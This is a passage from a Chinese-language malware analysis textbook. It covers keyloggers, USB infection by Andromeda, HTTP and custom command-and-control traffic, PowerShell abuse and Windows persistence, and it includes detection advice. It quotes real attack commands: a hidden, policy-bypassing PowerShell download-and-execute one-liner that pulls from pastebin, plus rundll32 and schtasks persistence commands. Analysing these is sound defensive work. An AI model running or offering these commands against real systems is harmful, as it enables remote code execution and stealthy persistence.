然后,恶意软件使用 LoadResource() 获取与该资源关联的数据句柄,接着使用 LockResource() 获取指向实际资源的指针。在以下截图中,检查 LockResource() API 的返回值 (RAX) 显示提取的资源。在这种情况下,64 位恶意软件投放工具从其资源部分提取 DLL,并随后将 DLL 投放到磁盘上:

1.3 键盘记录器

键盘记录器 是一种旨在拦截和记录按键的程序。攻击者在其恶意程序中使用键盘记录功能,窃取通过键盘输入的机密信息(如用户名、密码、信用卡信息等)。在本节中,我们将主要关注用户模式的软件键盘记录器。攻击者可以使用多种技术来记录按键。记录按键的最常见方法是使用文档化的 Windows API 函数:(a) 检查键状态(使用 GetAsyncKeyState() API)和 (b) 安装钩子(使用 SetWindowHookEX() API)。

1.3.1 使用 GetAsyncKeyState() 的键盘记录器

该技术涉及查询键盘上每个键的状态。为了实现这一点,键盘记录器利用GetAsyncKeyState() API 函数来确定某个键是按下还是未按下。通过 GetAsyncKeyState() 的返回值,可以确定在调用该函数时键是否被按下,以及该键是否在之前调用 GetAsyncKeyState() 后被按下。以下是 GetAsyncKeyState() API 的函数原型:

SHORT GetAsyncKeyState(int vKey);

GetAsyncKeyState() 接受一个整数参数 vKey,该参数指定一个 256 个可能的虚拟键码之一。为了确定键盘上单个键的状态,可以通过将与所需键关联的虚拟键码作为参数来调用 GetAsyncKeyState() API。为了确定键盘上所有键的状态,键盘记录器不断循环调用 GetAsyncKeyState() API(每次传递一个虚拟键码作为参数),以确定哪个键被按下。

你可以在 MSDN 网站上找到与虚拟键码相关的符号常量名称(msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx)。

以下截图显示了键盘记录器的代码片段。键盘记录器通过在地址0x401441调用GetKeyState() API 来确定Shift键的状态(是按下还是释放)。在地址0x401459,键盘记录器调用GetAsyncKeyState(),这是一个循环的一部分,在每次循环中,虚拟键码(从键码数组中读取)作为参数传递,用于确定每个按键的状态。在地址0x401463,对GetAsyncKeyState()的返回值执行test操作(与AND操作相同),以确定最高有效位是否被设置。如果最高有效位被设置,则表示按键被按下。如果某个特定按键被按下,则键盘记录器会在地址0x40146c调用GetKeyState()来检查Caps Lock键的状态(检查它是否被打开)。通过这种技术,恶意软件可以确定在键盘上输入的是大写字母、小写字母、数字还是特殊字符:

以下截图显示了循环的结束。从代码中可以看出,恶意软件遍历了0x5c (92)键码。换句话说,它监控了92个按键。在这种情况下,var_4充当键码数组索引,用于检查键码,并在循环结束时递增,只要var_4的值小于0x5c(92),循环将继续:

1.3.2 使用 SetWindowsHookEx() 的键盘记录器

另一种常见的键盘记录器技术是它安装一个函数(称为钩子过程)来监控键盘事件(例如按键)。在这种方法中,恶意程序注册一个函数(钩子过程),当键盘事件被触发时,该函数会收到通知,并可以将按键信息记录到文件中或通过网络发送。恶意程序使用SetWindowsHookEx() API 来指定要监控的事件类型(例如键盘、鼠标等)和当特定类型事件发生时应通知的钩子过程。钩子过程可以包含在一个 DLL 或当前模块中。在以下截图中,恶意软件样本通过调用SetWindowsHookEx()并使用WH_KEYBOARD_LL参数来注册一个用于低级键盘事件的钩子过程(恶意软件也可能使用WH_KEYBOARD)。第二个参数offset hook_proc钩子过程的地址。当键盘事件发生时,这个函数将会收到通知。检查这个函数可以帮助了解键盘记录器是如何以及在哪里记录按键信息的。第三个参数是包含钩子过程的模块(例如 DLL 或当前模块)的句柄。第四个参数0指定钩子过程将与同一桌面中的所有现有线程相关联:

1.4 通过可移动媒体复制恶意软件

攻击者可以通过感染可移动介质(如 USB 驱动器)来传播其恶意程序。攻击者可以利用自动运行功能(或利用自动运行中的漏洞)来自动感染其他系统,当感染的介质插入到该系统时。这种技术通常涉及将文件复制或修改存储在可移动介质上的现有文件。一旦恶意软件将恶意文件复制到可移动介质,它可以使用各种技巧让该文件看起来像一个合法的文件,从而欺骗用户在将 USB 插入另一个系统时执行该文件。感染可移动介质的技术使攻击者能够在断开连接或空中隔离的网络中传播其恶意软件。

在以下示例中,恶意软件调用GetLogicalDriveStringsA()以获取计算机上有效驱动器的详细信息。在调用GetLogicalDriveStringsA()之后,可用驱动器的列表会存储在输出缓冲区RootPathName中,该缓冲区作为第二个参数传递给GetLogicalDriveStringsA()。下图显示了三个驱动器,C:\D:\E:\,在调用GetLogicalDriveStringsA()后,其中E:\是 USB 驱动器。一旦确定了驱动器列表,它就会遍历每个驱动器以确定它是否是可移动驱动器。它通过将GetDriveTypeA()的返回值与DRIVE_REMOVABLE(常量值2)进行比较来判断:

如果检测到可移动介质,恶意软件使用CopyFileA() API 将自身(可执行文件)复制到可移动介质(USB 驱动器)中。为了隐藏文件,恶意软件调用SetFileAttributesA() API,并将常量值FILE_ATTRIBUTE_HIDDEN传递给它:

在将恶意文件复制到可移动介质后,攻击者可以等待用户双击复制的文件,或者利用自动运行功能。Windows Vista 之前,恶意软件除了复制可执行文件外,还会将包含自动运行命令的autorun.inf文件复制到可移动介质中。这些自动运行命令允许攻击者在介质插入系统时自动启动程序(无需用户干预)。从 Windows Vista 开始,通过自动运行执行恶意二进制文件默认不可行,因此攻击者必须使用其他技术(例如修改注册表项)或利用某个漏洞,使恶意二进制文件能够自动执行。

一些恶意软件程序依赖于欺骗用户执行恶意二进制文件,而不是利用自动运行功能。Andromeda 就是这样一种恶意软件的例子。为了演示 Andromeda 使用的技巧,请考虑以下截图,展示了将 2 GB 的干净 USB 驱动器插入感染了 Andromeda 的系统之前的内容。USB 根目录包含一个名为test.txt的文件和一个名为testdir的文件夹:

一旦干净的 USB 驱动器插入到Andromeda-感染的计算机中,它会执行以下步骤来感染 USB 驱动器:

  1. 它通过调用GetLogicalDriveStrings()来确定系统上所有驱动器的列表。

  2. 恶意软件通过遍历每个驱动器,使用GetDriveType() API 判断是否有驱动器是可移动媒体。

  3. 一旦找到可移动媒体,恶意软件调用CreateDirectoryW() API 创建一个文件夹(目录),并将扩展 ASCII 码xA0 (á)作为第一个参数(目录名)。这将在可移动媒体上创建一个名为E:\á的文件夹,由于使用了扩展 ASCII 码,该文件夹显示为没有名称。以下截图展示了E:\á目录的创建。从现在起,我将把这个恶意软件创建的目录称为未命名目录(文件夹)

以下截图显示了未命名文件夹。这是之前步骤中创建的带有扩展 ASCII 码 xA0 的文件夹:

  1. 然后通过调用SetFileAttributesW() API 将未命名文件夹的属性设置为隐藏,并将其设为受保护的操作系统文件夹。这会将文件夹隐藏在可移动媒体上:

  1. 恶意软件从注册表中解密可执行内容。然后它在未命名文件夹中创建一个文件。创建的文件名遵循<randomfilename>.1的约定,并将 PE 可执行内容(恶意 DLL)写入该文件(使用CreateFile()WriteFile() API)。结果,在未命名文件夹中创建了一个名为<randomfilename>.1的 DLL, 如下所示:

  1. 恶意软件随后在未命名文件夹中创建一个desktop.ini文件,并写入图标信息,为未命名文件夹分配一个自定义图标desktop.ini的内容如下所示:

以下截图显示了未命名文件夹的图标,该图标已更改为驱动器图标。此外,请注意未命名文件夹现在已被隐藏。换句话说,只有当文件夹选项配置为显示隐藏受保护的操作系统文件时,这个文件夹才会可见:

  1. 恶意软件随后调用MoveFile() API,将所有文件和文件夹(在此案例中为test.txttestdir)从根目录移动到未命名隐藏文件夹。在复制用户的文件和文件夹后,USB 驱动器的根目录如下所示:

  1. 恶意软件随后创建一个快捷方式链接,指向rundll32.exe,而传递给rundll32.exe的参数是<randomfile>.1文件(即之前在无名文件夹中丢失的 DLL 文件)。以下截图显示了快捷方式文件的外观,并展示了恶意 DLL 通过 rundll32.exe 加载的属性。换句话说,当双击该快捷方式文件时,恶意 DLL 会通过 rundll32.exe 加载,从而执行恶意代码:

使用上述操作,Andromeda玩了一个心理把戏。现在,让我们来了解当用户将感染了恶意软件的 USB 驱动器插入干净的系统时会发生什么。以下截图展示了感染 USB 驱动器的内容,呈现给正常用户(使用默认的文件夹选项)。请注意,无名文件夹对用户不可见,并且用户的文件/文件夹(在我们的例子中是test.txttestdir)从根驱动器中消失。恶意软件正欺骗用户,让其相信快捷方式文件是一个驱动器:

当用户发现 USB 根目录中缺失所有重要文件和文件夹时,用户很可能会双击快捷方式文件(以为它是一个驱动器),以寻找丢失的文件。由于双击该快捷方式,rundll32.exe会从无名隐藏文件夹(用户不可见)加载恶意 DLL,从而感染系统。

1.5 恶意软件指令与控制(C2)

恶意软件指令与控制(也称为C&CC2)指的是攻击者与被感染系统之间的通信方式,以及如何控制该系统。在感染系统后,大多数恶意软件与攻击者控制的服务器(C2 服务器)进行通信,目的是接收指令、下载附加组件或外泄信息。对手使用不同的技术和协议进行指令与控制。传统上,互联网中继聊天(IRC)曾是许多年的最常见 C2 渠道,但由于 IRC 在组织中不常使用,因此很容易检测到这种流量。如今,恶意软件进行 C2 通信时最常使用的协议是HTTP/HTTPS。使用 HTTP/HTTPS 使得攻击者能够绕过防火墙/基于网络的检测系统,并与合法的网络流量混合。恶意软件有时还会使用 P2P 等协议进行 C2 通信。一些恶意软件也使用 DNS 隧道(securelist.com/use-of-dns-tunneling-for-cc-communications/78203/)进行 C2 通信。

1.5.1 HTTP 指令与控制

在本节中,你将了解对手如何使用 HTTP 与恶意程序通信。以下是 APT1 组使用的恶意软件样本(WEBC2-DIV后门)的示例(www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf)。该恶意二进制文件利用InternetOpen()InternetOpenUrl()InternetReadFile() API 函数从攻击者控制的 C2 服务器获取网页。它期望网页包含特殊的 HTML 标签;然后,后门解密标签中的数据,并将其解释为命令。以下步骤描述了WEB2-DIV后门与 C2 通信以接收命令的方式:

  1. 首先,恶意软件调用InternetOpenA() API 初始化互联网连接。第一个参数指定恶意软件将用于 HTTP 通信的User-Agent。该后门通过将感染系统的主机名(它通过调用GetComputerName() API 获得)与硬编码字符串连接来生成 User-Agent。每当你遇到二进制文件中使用的硬编码User-Agent字符串时,它可以作为一个很好的网络指示器:

  1. 然后,它调用InternetOpenUrlA()连接到一个 URL。你可以通过检查第二个参数来确定它连接到的 URL 名称,如下所示:

  1. 以下截图显示了调用InternetOpenUrlA()后生成的网络流量。在此阶段,恶意软件与 C2 服务器通信以读取 HTML 内容:

  1. 然后,它使用InternetReadFile() API 调用获取网页内容。该函数的第二个参数指定接收数据的缓冲区指针。以下截图显示了调用InternetReadFile()后检索到的 HTML 内容:

  1. 从检索到的 HTML 内容中,后门会查找特定内容,该内容位于
    HTML 标签中。检查 div 标签内内容的代码如下所示。如果未找到所需内容,恶意软件不会做任何操作,只会定期检查内容:

具体来说,恶意软件期望内容被按特定格式包裹在div标签中,如下面代码所示。如果在检索到的 HTML 内容中找到以下格式,它会提取加密字符串(KxAikuzeG:F6PXR3vFqffP:H),该字符串被包裹在<div safe: 和 balance></div>之间:

<div safe: KxAikuzeG:F6PXR3vFqffP:H balance></div>
  1. 提取的加密字符串随后作为参数传递给解密函数,该函数使用自定义加密算法解密字符串。你将在第九章中了解更多关于恶意软件加密技术的内容,恶意软件混淆技术。下图显示了调用解密函数后的解密字符串。解密字符串后,后门会检查解密字符串的第一个字符是否为J。如果满足此条件,恶意软件会调用sleep()API,使程序进入指定时间的休眠状态。简而言之,解密字符串的第一个字符充当命令代码,指示后门执行休眠操作:

  1. 如果解密字符串的第一个字符是D,则会检查第二个字符是否为o,如图所示。如果满足此条件,则从第三个字符开始提取 URL,并使用UrlDownloadToFile()从该 URL 下载可执行文件。然后,它通过CreateProcess()API 执行下载的文件。在这种情况下,前两个字符Do充当命令代码,指示后门下载并执行文件:

要查看APT1 WEBC2-DIV后门的完整分析,请查看作者的 Cysinfo 会议演讲和视频演示(cysinfo.com/8th-meetup-understanding-apt1-malware-techniques-using-malware-analysis-reverse-engineering/)。

恶意软件还可能使用诸如InternetOpen()InternetConnect()HttpOpenRequest()HttpSendRequest()InternetReadFile()等 API 通过 HTTP 进行通信。你可以在这里找到对某种恶意软件的分析与逆向工程:cysinfo.com/sx-2nd-meetup-reversing-and-decrypting-the-communications-of-apt-malware/

除了使用 HTTP/HTTPS,攻击者还可能滥用社交网络threatpost.com/attackers-moving-social-networks-command-and-control-071910/74225/)、合法网站Pastebincysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/)、以及云存储服务Dropboxwww.fireeye.com/blog/threat-research/2015/11/china-based-threat.html)来进行恶意软件的命令与控制。这些技术使得监视和检测恶意通信变得困难,并允许攻击者绕过基于网络的安全控制。

1.5.2 自定义命令与控制

对手可能会使用自定义协议或通过非标准端口来隐藏他们的命令和控制流量。以下是一个恶意软件样本(HEARTBEAT RAT)的示例,其详细信息在白皮书中有所记录(www.trendmicro.it/media/wp/the-heartbeat-apt-campaign-whitepaper-en.pdf)。该恶意软件使用自定义协议(非 HTTP)在端口80上进行加密通信,并从 C2 服务器检索命令。它利用Socket()Connect()Send()Recv() API 调用与 C2 进行通信并接收命令:

  1. 首先,恶意软件调用WSAStartup() API 来初始化 Windows 套接字系统。然后,它调用Socket() API 来创建一个套接字,如下图所示。套接字 API 接受三个参数。第一个参数AF_INET指定地址族,即IPV4。第二个参数是套接字类型(SOCK_STREAM),第三个参数IPPROTO_TCP指定正在使用的协议(此处为 TCP):

  1. 在建立与套接字的连接之前,恶意软件使用GetHostByName() API 解析 C2 域名的地址。这是有意义的,因为远程地址端口需要提供给Connect() API,以便建立连接。GetHostByName()的返回值(EAX)是一个指向名为hostent的结构体的指针,该结构体包含了解析后的 IP 地址:

  1. 它从hostent结构中读取解析后的 IP 地址,并将其传递给inet_ntoa() API,该 API 将 IP 地址转换为 ASCII 字符串,如192.168.1.100。然后调用inet_addr(),该函数将类似192.168.1.100的 IP 地址字符串转换为可以供Connect() API 使用的格式。然后调用Connect() API 来建立与套接字的连接:

  1. 恶意软件随后收集系统信息,使用XOR加密算法对其进行加密(加密技术将在第九章中介绍),并使用Send() API 调用将其发送到 C2 服务器。Send() API 的第二个参数显示了将发送到 C2 服务器的加密内容:

以下截图显示了在调用Send() API 后捕获的加密网络流量:

  1. 然后,恶意软件调用CreateThread()来启动一个新线程。CreateThread的第三个参数指定线程的起始地址(起始函数),因此在调用CreateThread()后,执行将从起始地址开始。在这种情况下,线程的起始地址是一个负责从 C2 读取内容的函数:

内容来自 C2,使用Recv() API 函数进行检索。Recv()的第二个参数是存储检索内容的缓冲区。然后,检索到的内容会被解密,接着,根据从 C2 接收到的命令,恶意软件执行相应的操作。要了解此恶意软件的所有功能以及它如何处理接收到的数据,请参阅作者的演示文稿和视频演示(cysinfo.com/session-11-part-2-dissecting-the-heartbeat-apt-rat-features/)。

1.6 基于 PowerShell 的执行

为了避开检测,恶意软件作者通常利用系统中已存在的工具(如PowerShell),这些工具可以帮助他们隐藏恶意活动。PowerShell 是基于.NET 框架的管理引擎。该引擎暴露了一系列命令,称为cmdlets。该引擎托管在应用程序和 Windows 操作系统中,默认情况下提供命令行界面(交互式控制台)GUI PowerShell ISE(集成脚本环境)

PowerShell 不是一种编程语言,但它允许你创建包含多个命令的有用脚本。你还可以打开PowerShell 提示符并执行单个命令。PowerShell 通常由系统管理员用于合法目的。然而,攻击者使用 PowerShell 执行恶意代码的情况在增加。攻击者使用 PowerShell 的主要原因是它可以访问所有主要的操作系统功能,并且几乎不留下痕迹,从而使检测更加困难。以下是攻击者如何在恶意软件攻击中利用 PowerShell 的概述:

  • 在大多数情况下,PowerShell 在利用后用于下载其他组件。它通常通过电子邮件附件发送,附件中包含能够直接或间接执行 PowerShell 脚本的文件(如.lnk.wsf、JavaScript、VBScript 或包含恶意宏的办公文档)。一旦攻击者诱使用户打开恶意附件,恶意代码便直接或间接调用 PowerShell 来下载其他组件。

  • 它还用于横向移动,攻击者在远程计算机上执行代码,以便在网络内传播。

  • 攻击者使用 PowerShell 动态加载并执行代码,直接从内存中执行,而不访问文件系统。这使得攻击者能够保持隐秘,并使取证分析变得更加困难。

  • 攻击者使用 PowerShell 执行其混淆的代码,这使得传统安全工具很难检测到它。

如果你是 PowerShell 新手,你可以通过以下链接找到许多入门教程,帮助你开始使用 PowerShell:social.technet.microsoft.com/wiki/contents/articles/4307.powershell-for-beginners.aspx

1.6.1 PowerShell 命令基础

在深入了解恶意软件如何利用 PowerShell 之前,先了解如何执行 PowerShell 命令。你可以使用交互式 PowerShell 控制台执行 PowerShell 命令;可以通过 Windows 程序搜索功能启动它,或者在命令提示符下输入 powershell.exe。进入交互式 PowerShell 后,你可以输入命令并执行它。在以下示例中,Write-Host cmdlet 将消息写入控制台。cmdlet(如 Write-Host)是用 .NET Framework 语言编写的已编译命令,旨在小巧并完成单一功能。cmdlet 遵循标准的 动词-名词 命名约定:

PS C:\> Write-Host "Hello world"
Hello world

cmdlet 可以接受参数。参数以破折号开头,后跟参数名称和一个空格,再后跟参数值。在以下示例中,Get-Process cmdlet 用于显示关于 explorer 进程的信息。Get-Process cmdlet 接受一个名为 Name 的参数,值为 explorer

PS C:\> Get-Process -Name explorer
Handles NPM(K) PM(K)  WS(K)  VM(M)  CPU(s) Id  ProcessName
------- ------ -----  -----  ----- ------  --  -----------
1613       86  36868  77380  ...35  10.00  3036 explorer

或者,你也可以使用参数快捷方式来减少输入;上面的命令也可以写成:

PS C:\> Get-Process -n explorer
Handles NPM(K) PM(K) WS(K)  VM(M)  CPU(s) Id  ProcessName
------- ------ ----- -----  -----  -----  --  -----------
1629       87 36664  78504  ...40  10.14  3036 explorer

要获取有关 cmdlet(如语法和参数的详细信息)的更多信息,你可以使用 Get-Help cmdlet 或 help 命令。如果你希望获取最新的信息,可以通过以下命令在线获取帮助:

PS C:\> Get-Help Get-Process
PS C:\> help Get-Process -online

在 PowerShell 中,变量可以用来存储值。在以下示例中,hello 是一个以 $ 符号为前缀的变量:

PS C:\> $hello = "Hello World"
PS C:\> Write-Host $hello
Hello World

变量也可以存储 PowerShell 命令的结果,然后可以在命令的地方使用该变量,如下所示:

PS C:\> $processes = Get-Process
PS C:\> $processes | where-object {$_.ProcessName -eq 'explorer'}
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id  ProcessName
------- ------ ----- ----- ----- ------ --  -----------
1623        87 36708 78324 ...36 10.38  3036 explorer

1.6.2 PowerShell 脚本与执行策略

PowerShell 的功能使你能够通过组合多个命令来创建脚本。PowerShell 脚本的扩展名为 .ps1. 默认情况下,你将无法执行 PowerShell 脚本。这是因为 PowerShell 中的默认 执行策略 设置阻止了 PowerShell 脚本的执行。执行策略决定了在何种条件下可以执行 PowerShell 脚本。默认情况下,执行策略设置为 "Restricted",这意味着无法执行 PowerShell 脚本(.ps1 文件),但仍然可以执行单个命令。例如,当 Write-Host "Hello World" 命令保存为 PowerShell 脚本 (hello.ps1) 并执行时,你会看到以下消息,说明脚本执行被禁用。这是由于执行策略设置的原因:

PS C:\> .\hello.ps1
.\hello.ps1 : File C:\hello.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\hello.ps1
+ ~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess

执行策略不是一个安全功能;它只是一个控制措施,用来防止用户不小心执行脚本。要显示当前的执行策略设置,可以使用以下命令:

PS C:\> Get-ExecutionPolicy
Restricted

你可以使用 Set-ExecutionPolicy 命令更改执行策略设置(前提是你以管理员身份执行命令)。在以下示例中,执行策略被设置为 Bypass,这允许脚本在没有任何限制的情况下运行。如果你遇到恶意 PowerShell 脚本,并且希望执行它以确定其行为,这个设置可能对你的分析很有帮助:

PS C:\> Set-ExecutionPolicy Bypass
PS C:\> .\hello.ps1
Hello World

1.6.2 分析 PowerShell 命令/脚本

相比于汇编代码,PowerShell 命令比较容易理解,但在某些情况下(比如 PowerShell 命令被混淆时),你可能想要运行这些 PowerShell 命令以理解它是如何工作的。测试单个命令的最简单方法是通过交互式 PowerShell 执行它。如果你希望执行一个包含多个命令的 PowerShell 脚本(.ps1),首先将执行策略设置更改为 BypassUnrestricted(如前所述),然后通过 PowerShell 控制台执行脚本。记住,要在隔离的环境中执行恶意脚本。

在 PowerShell 提示符下运行脚本(.ps1)会一次性执行所有命令。如果你希望对执行过程进行控制,那么可以使用 PowerShell ISE(集成脚本环境) 调试 PowerShell 脚本。你可以通过程序搜索功能打开 PowerShell ISE,然后将 PowerShell 脚本加载到 PowerShell ISE 中,或复制粘贴一个命令并使用其调试功能(如 逐步进入逐步跳过逐步跳出断点),这些功能可以通过调试菜单访问。在调试之前,确保将执行策略设置为 Bypass

1.6.3 攻击者如何使用 PowerShell

通过了解基础的 PowerShell 知识以及分析所需的工具,我们现在来看攻击者如何使用 PowerShell。由于在 PowerShell 控制台或双击运行 PowerShell 脚本(.ps1)时受到限制(会在记事本中打开,而不是执行脚本),因此攻击者不太可能直接将 PowerShell 脚本发送给受害者。攻击者必须首先欺骗用户执行恶意代码,这通常通过发送包含 .lnk.wsf、JavaScript 或恶意宏文档等文件的电子邮件附件来实现。一旦用户被诱骗打开这些附件文件,恶意代码便可以直接调用 PowerShell(powershell.exe),或者通过 cmd.exeWscriptCscript 等间接调用。一旦调用了 PowerShell,可以使用多种方法绕过执行策略。例如,攻击者可以使用恶意代码调用 powershell.exe 并传递 Bypass 执行策略标志,如下图所示。这种技术即使在用户不是管理员的情况下也能工作,它会覆盖默认的执行限制策略并执行脚本:

同样,攻击者还使用各种 PowerShell 命令行参数绕过执行策略。下表列出了最常用的 PowerShell 参数,用于规避检测和绕过本地限制:

命令行参数 描述
执行策略绕过 (-Exec bypass) 忽略执行策略限制并在没有警告的情况下运行脚本
窗口样式隐藏 (-W Hidden) 隐藏 PowerShell 窗口
无配置文件 (-NoP) 忽略配置文件中的命令
编码命令 (-Enc) 执行编码为 Base64 的命令
非交互模式 (-NonI) 不向用户显示交互提示
命令 (-C) 执行单个命令
文件 (-F) 从指定文件执行命令

除了使用 PowerShell 命令行参数外,攻击者还会在 PowerShell 脚本中利用 cmdlet 或 .NET API。以下是最常用的命令和函数:

  • Invoke-Expression (IEX): 该 cmdlet 评估或执行指定的字符串作为命令

  • Invoke-Command: 该 cmdlet 可以在本地或远程计算机上执行 PowerShell 命令

  • Start-Process: 该 cmdlet 从给定的文件路径启动一个进程

  • DownloadString: 该方法来自 System.Net.WebClient(WebClient 类),用于将资源从 URL 下载为字符串

  • DownloadFile(): 该方法来自System.Net.WebClient(WebClient 类),用于将资源从 URL 下载到本地文件

以下是作者博客中提到的一次攻击中使用的 PowerShell 下载器的示例(cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/)。在这个例子中,PowerShell 命令通过受害者收到的电子邮件附件中的恶意宏,使用 cmd.exe 被触发,微软 Excel 表格内嵌的宏执行了该命令。

PowerShell 将下载的可执行文件投放到 %TEMP% 目录中,并命名为 doc6.exe。接着,它会为该可执行文件添加一个注册表条目,并调用 eventvwr.exe,这是一种有趣的注册表劫持技术,允许 doc6.exeeventvwr.exe 以高权限级别执行。该技术还悄悄绕过了 UAC(用户帐户控制)

以下是一次定向攻击中的 PowerShell 命令示例(cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/)。在这个例子中,PowerShell 是通过恶意宏触发的,且不是直接下载一个可执行文件,而是通过 DownloadString 方法下载了来自 Pastebin 链接的 base64 编码内容。下载编码内容后,它会被解码并写入磁盘:

powershell -w hidden -ep bypass -nop -c "IEX ((New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/[removed]'))"

在以下示例中,在调用 PowerShell 之前,恶意软件投放器首先在 %Temp% 目录中写入一个扩展名为 .bmp 的 DLL 文件(heiqh.bmp),然后通过 PowerShell 启动 rundll32.exe 来加载该 DLL,并执行 DLL 导出的函数 dlgProc

PowerShell cd $env:TEMP ;start-process rundll32.exe heiqh.bmp,dlgProc

有关恶意软件攻击中使用的不同 PowerShell 技术的更多信息,请参阅白皮书:攻击中 PowerShell 使用的增加: www.symantec.com/content/dam/symantec/docs/security-center/white-papers/increased-use-of-powershell-in-attacks-16-en.pdf。对手利用各种混淆技术使分析变得更加困难。想了解攻击者如何使用 PowerShell 混淆技术,请观看 Daniel Bohannon 在 Derbycon 的演讲:www.youtube.com/watch?v=P1lkflnWb0I

2. 恶意软件持久化方法

对手常常希望他们的恶意程序即使在 Windows 重启后也能继续存在。这通过使用各种持久性方法实现;这种持久性允许攻击者在不需要重新感染的情况下继续存在于被攻击的系统中。有许多方法可以让恶意代码每次在 Windows 启动时执行。在这一节中,你将了解一些对手使用的持久性方法。这些持久性技术中的一些方法允许攻击者在提权后执行恶意代码(权限提升)。

2.1 运行注册表键

对手用来在重启后生存的最常见的持久性机制之一是通过向运行注册表键添加条目来实现。添加到运行注册表键中的程序会在系统启动时执行。以下是最常见的运行注册表键的列表。除了我们即将提到的这些,恶意软件还可以将自己添加到其他自动启动位置。了解各种自动启动位置的最好方法是使用 Sysinternals 的AutoRuns 工具docs.microsoft.com/en-us/sysinternals/downloads/autoruns):

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

在以下示例中,执行时,恶意软件(bas.exe)首先在 Windows 目录中投放一个可执行文件(LSPRN.EXE),然后在运行注册表键中添加以下条目,以便每次系统启动时都能启动该恶意程序。从注册表条目可以看出,恶意软件试图使其二进制文件看起来像一个与打印机相关的应用程序:

[RegSetValue] bas.exe:2192 > HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\PrinterSecurityLayer = C:\Windows\LSPRN.EXE

要检测使用这种持久性方法的恶意软件,你可以监控那些与已知程序无关的 Run 注册表键的变动。你也可以使用 Sysinternal 的AutoRuns 工具来检查自动启动位置的可疑条目。

2.2 调度任务

另一个对手使用的持久性方法是调度任务,使其能够在指定时间或系统启动时执行恶意程序。像schtasksat这样的 Windows 工具通常被对手用来调度程序或脚本在指定的日期和时间执行。通过利用这些工具,攻击者可以在本地计算机或远程计算机上创建任务,只要用于创建任务的账户是管理员组的成员。在以下示例中,恶意软件(ssub.exe)首先在%AllUsersProfile%\WindowsTask\目录中创建一个名为service.exe的文件,然后调用cmd.exe,该程序进一步使用schtasks Windows 工具创建一个调度任务以保持持久性:

[CreateFile] ssub.exe:3652 > %AllUsersProfile%\WindowsTask\service.exe
[CreateProcess] ssub.exe:3652 > "%WinDir%\System32\cmd.exe /C schtasks /create /tn MyApp /tr %AllUsersProfile%\WindowsTask\service.exe /sc ONSTART /f"
[CreateProcess] cmd.exe:3632 > "schtasks /create /tn MyApp /tr %AllUsersProfile%\WindowsTask\service.exe /sc ONSTART /f

要检测这种持久性类型,可以使用 Sysinternals 的Autoruns任务计划程序实用程序列出当前计划任务。应考虑监视与合法程序无关的任务的更改。还可以监视传递给系统实用程序(如cmd.exe)的命令行参数,这些参数可能用于创建任务。任务也可以使用管理工具(如PowerShellWindows 管理工具(WMI))创建,因此适当的日志记录和监视应有助于检测此技术。

2.3 启动文件夹

攻击者可以通过将其恶意二进制文件添加到启动文件夹中实现持久性。操作系统启动时,将查找启动文件夹并执行位于此文件夹中的文件。Windows 操作系统维护两种类型的启动文件夹:(a)用户范围(b)系统范围,如下所示。位于用户启动文件夹中的程序仅为特定用户执行,而位于系统文件夹中的程序在任何用户登录到系统时执行。需要管理员权限才能使用系统范围的启动文件夹实现持久性:

C:\%AppData%\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

在以下示例中,恶意软件(Backdoor.Nitol)首先将文件放在%AppData%目录中。然后创建一个指向已放置文件的快捷方式(.lnk),然后将该快捷方式添加到Startup文件夹中。这样,当系统启动时,通过快捷方式(.lnk)文件执行已放置的文件:

[CreateFile] bllb.exe:3364 > %AppData%\Abcdef Hijklmno Qrs\Abcdef Hijklmno Qrs.exe
[CreateFile] bllb.exe:3364 > %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Abcdef Hijklmno Qrs.exe.lnk

要检测这种类型的攻击,可以监视添加的条目和对启动文件夹所做的更改。

2.4 Winlogon 注册表条目

攻击者可以通过修改Winlogon进程使用的注册表条目来实现持久性。Winlogon 进程负责处理交互式用户登录注销。一旦用户经过身份验证,winlogon.exe进程会启动userinit.exe,该进程运行登录脚本并重新建立网络连接。然后userinit.exe启动explorer.exe,这是默认用户的外壳。

winlogon.exe进程启动userinit.exe是由以下注册表值决定的。此条目指定 Winlogon 在用户登录时需要执行哪些程序。默认情况下,此值设置为userinit.exe的路径(C:\Windows\system32\userinit.exe)。攻击者可以更改或添加另一个包含恶意可执行文件路径的值,然后该文件将由winlogon.exe进程启动(用户登录时):

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

同样,userinit.exe查看以下注册表值以启动默认用户的外壳。默认情况下,此值设置为explorer.exe。攻击者可以更改或添加另一个条目,其中包含恶意可执行文件的名称,然后由userinit.exe启动:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

在以下示例中,Brontok 蠕虫通过修改以下 Winlogon 注册表值并使用其恶意可执行文件实现持久化:

要检测这种类型的持久化机制,可以使用 Sysinternals Autoruns 实用程序。你可以监视注册表中的可疑条目(与合法程序无关),如前所述。

2.5 图像文件执行选项

图像文件执行选项 (IFEO) 允许直接在调试器下启动可执行文件。它为开发者提供了调试软件的选项,以调查可执行文件启动代码中的问题。开发者可以在以下注册表项下创建一个与其可执行文件名称相同的子键,并将调试器值设置为调试器的路径:

